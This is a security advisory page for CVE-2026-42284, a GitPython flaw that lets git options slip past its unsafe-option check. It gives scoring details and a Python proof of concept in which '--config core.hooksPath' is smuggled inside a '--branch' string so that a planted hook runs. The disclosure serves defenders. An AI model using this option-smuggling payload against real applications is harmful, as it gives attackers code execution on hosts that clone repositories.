VulnerabilityPublished 13 Aug 2026Updated 26 Oct 2026

CVE-2026-42284: GitPython · Unsafe option check validates multi_options before shlex.split transformation

Affects cf2tfSource GCVE Database

Mentioned vulnerabilities

CVE-2023-40267

Authoritative record:CVE-2026-42284· High 8.1

Not known to be exploited · CVSS 8.1 High : upgrade to 0.9.2_2 soon.

Data as of 26 Oct 2026, 17:16 UTC

CVSS 3.1 base score

8.1High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.5% chance of exploitation in 30 days – higher than 46% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 0.9.2_2

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector: Network
Attack Complexity: High
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: High
Integrity: High
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: High: A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. For example, a successful attack may require an attacker to: gather knowledge about the environment in which the vulnerable target/component exists; prepare the target environment to improve exploit reliability; or inject themselves into the logical network path between the target and the resource requested by the victim in order to read and/or modify network communications (e.g., a man in the middle attack).
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: High: There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact.
Integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 7 May 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade cf2tf to 0.9.2_2.

Affected software

Product	Affected	Fixed in
Homebrewcf2tf`pkg:brew/cf2tf`Other threats	Affected >=0.6.1 <0.9.2_2	Fixed in 0.9.2_2

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary `_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone. ### Details The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383): ```python multi = shlex.split(" ".join(multi_options)) ``` Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390): ```python Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options) ``` Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392): ```python proc = git.clone(multi, "--", url, path, ...) ``` The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`: ```python if option.startswith(unsafe_option) or option == bare_option: ``` `"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git. Also affects `Submodule.update()` via `clone_multi_options`. ### PoC ```python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent)) from git import Repo from git.exc import UnsafeOptionError try: Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multi_options=['--config', '...']: Block as expected") except Exception: pass DIR = pathlib.Path(__file__).resolve().parent / "workdir_b" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log" if not SRC.exists(): SRC.mkdir(parents=True) r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True) r("git", "init", "-b", "main") (SRC / "f").write_text("x\n") r("git", "add", ".") r("git", "commit", "-m", "init") HOOKS.mkdir(exist_ok=True) hook = HOOKS / "post-checkout" hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n") hook.chmod(0o755) LOG.unlink(missing_ok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix() try: Repo.clone_from(str(SRC), str(DST), multi_options=[payload]) except UnsafeOptionError: print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True) print(f"multi_options=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.read_text().strip()) ``` **Output:** ``` multi_options=['--config', '...']: Block as expected multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked Hook executed: True texugo DESKTOP-5w5HH79 ``` ### Impact Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

References

Community reviews

Loading reviews…